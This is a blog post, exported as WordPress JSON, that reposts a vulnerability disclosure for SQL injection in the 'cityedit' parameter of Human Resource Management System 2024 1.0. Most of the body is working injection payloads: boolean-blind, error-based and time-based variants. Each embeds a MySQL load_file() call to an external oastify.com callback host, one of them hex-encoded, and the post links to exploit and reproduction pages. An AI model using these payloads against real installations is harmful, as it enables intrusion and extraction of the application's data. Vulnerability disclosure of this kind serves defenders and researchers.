{"id":56112,"date":"2024-04-06T00:41:20","date_gmt":"2024-04-05T20:41:20","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/177946\/hrm202410-sql.txt"},"modified":"2024-04-06T00:41:20","modified_gmt":"2024-04-05T20:41:20","slug":"human-resource-management-system-2024-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/human-resource-management-system-2024-1-0-sql-injection\/","title":{"rendered":"Human Resource Management System 2024 1.0 SQL Injection"},"content":{"rendered":"<p>## Title: hrm2024.1.0-Multiple-SQLi<br \/>## Author: nu11secur1ty<br \/>## Date: 04\/02\/2024<br \/>## Vendor: https:\/\/github.com\/oretnom23<br \/>## Software: https:\/\/www.sourcecodester.com\/php\/15740\/human-resource-management-system-project-php-and-mysql-free-source-code.html<br \/>## Reference: https:\/\/portswigger.net\/web-security\/sql-injection<\/p>\n<p>## Description:<br \/>The cityedit parameter appears to be vulnerable to SQL injection<br \/>attacks. The payload &#8216;+(select<br \/>load_file(&#8216;\\\\\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\\\eii&#8217;))+&#8217;<br \/>was submitted in the cityedit parameter. This payload injects a SQL<br \/>sub-query that calls MySQL&#8217;s load_file function with a UNC file path<br \/>that references a URL on an external domain. The application<br \/>interacted with that domain, indicating that the injected SQL query<br \/>was executed.<br \/>The attacker can get all information from the system by using this<br \/>vulnerability!<\/p>\n<p>STATUS: HIGH- Vulnerability<\/p>\n[+]Payload:<br \/>&#8220;`mysql<br \/>&#8212;<br \/>Parameter: cityedit (GET)<br \/>Type: boolean-based blind<br \/>Title: MySQL RLIKE boolean-based blind &#8211; WHERE, HAVING, ORDER BY<br \/>or GROUP BY clause<br \/>Payload: cityedit=22&#8217;+(select<br \/>load_file(&#8216;\\\\\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\\\eii&#8217;))+&#8221;<br \/>RLIKE (SELECT (CASE WHEN (1759=1759) THEN 0x3232+(select<br \/>load_file(0x5c5c5c5c726a6564686468666a3662336a3175736a30656f696978343376396f786b6c626f7a666d3561752e6f6173746966792e636f6d5c5c656969))+&#8221;<br \/>ELSE 0x28 END)) AND &#8216;GMzs&#8217;=&#8217;GMzs<\/p>\n<p>Type: error-based<br \/>Title: MySQL &gt;= 5.0 OR error-based &#8211; WHERE, HAVING, ORDER BY or<br \/>GROUP BY clause (FLOOR)<br \/>Payload: cityedit=22&#8217;+(select<br \/>load_file(&#8216;\\\\\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\\\eii&#8217;))+&#8221;<br \/>OR (SELECT 8880 FROM(SELECT COUNT(*),CONCAT(0x716b787671,(SELECT<br \/>(ELT(8880=8880,1))),0x7178626271,FLOOR(RAND(0)*2))x FROM<br \/>INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND &#8216;qJHK&#8217;=&#8217;qJHK<\/p>\n<p>Type: time-based blind<br \/>Title: MySQL &gt; 5.0.12 AND time-based blind (heavy query)<br \/>Payload: cityedit=22&#8217;+(select<br \/>load_file(&#8216;\\\\\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\\\eii&#8217;))+&#8221;<br \/>AND 2124=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A,<br \/>INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR<br \/>1) AND &#8216;Jtnd&#8217;=&#8217;Jtnd<br \/>&#8212;<br \/>&#8220;`<\/p>\n<p>## Reproduce:<br \/>[href](https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/oretnom23\/2024\/hrm-2024.1.0)<\/p>\n<p>## Proof and Exploit:<br \/>[href](https:\/\/www.nu11secur1ty.com\/2024\/04\/hrm202410-multiple-sqli.html)<\/p>\n<p>## Time spent:<br \/>01:15:00<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## Title: hrm2024.1.0-Multiple-SQLi## Author: nu11secur1ty## Date: 04\/02\/2024## Vendor: https:\/\/github.com\/oretnom23## Software: https:\/\/www.sourcecodester.com\/php\/15740\/human-resource-management-system-project-php-and-mysql-free-source-code.html## Reference: https:\/\/portswigger.net\/web-security\/sql-injection ## Description:The cityedit parameter appears to be vulnerable to SQL injectionattacks. The payload &#8216;+(selectload_file(&#8216;\\\\\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\\\eii&#8217;))+&#8217;was submitted in the cityedit parameter. This payload injects a SQLsub-query that calls MySQL&#8217;s load_file function with a UNC file paththat references a URL on an external domain. The &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56112","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56112","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56112"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56112\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56112"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56112"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56112"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}